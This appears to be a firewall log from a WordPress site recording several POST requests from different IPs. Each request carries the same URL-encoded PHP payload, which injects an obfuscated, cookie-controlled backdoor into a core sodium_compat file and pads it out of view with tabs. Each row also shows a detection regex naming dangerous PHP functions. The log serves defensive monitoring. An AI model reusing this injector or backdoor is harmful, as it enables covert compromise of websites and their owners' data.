20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:47:20","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> hl:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/Curve25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B25%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B25%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B20%255D%2528%2529.%2524p%255B28%255D%253Bif%2528%2521%2524p%255B22%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B4%255D%2528%2524k%252C%2524p%255B2%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B24%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\ncontent-length:3270\nsec-ch-ua-mobile:?0\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnTjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nhl=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/Curve25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B25%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B25%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B20%255D%2528%2529.%2524p%255B28%255D%253Bif%2528%2521%2524p%255B22%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B4%255D%2528%2524k%252C%2524p%255B2%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B24%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:47:24","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ir:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/Curve25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B25%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B25%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B20%255D%2528%2529.%2524p%255B28%255D%253Bif%2528%2521%2524p%255B22%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B4%255D%2528%2524k%252C%2524p%255B2%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B24%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\ncontent-length:3270\nsec-ch-ua-mobile:?0\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFKVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nIr=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/Curve25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B25%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B25%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B20%255D%2528%2529.%2524p%255B28%255D%253Bif%2528%2521%2524p%255B22%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B4%255D%2528%2524k%252C%2524p%255B2%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B24%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:47:25","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> oE:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/Curve25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B25%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B25%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B20%255D%2528%2529.%2524p%255B28%255D%253Bif%2528%2521%2524p%255B22%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B4%255D%2528%2524k%252C%2524p%255B2%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B24%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncontent-length:3270\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvo0HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\noE=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/Curve25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B25%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B25%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B20%255D%2528%2529.%2524p%255B28%255D%253Bif%2528%2521%2524p%255B22%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B4%255D%2528%2524k%252C%2524p%255B2%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B24%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:47:28","51.38.81.255","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> lj:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/Curve25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B25%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B25%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B20%255D%2528%2529.%2524p%255B28%255D%253Bif%2528%2521%2524p%255B22%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B4%255D%2528%2524k%252C%2524p%255B2%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B24%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"macOS\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\ncontent-length:3270\nsec-ch-ua-mobile:?0\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoTbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 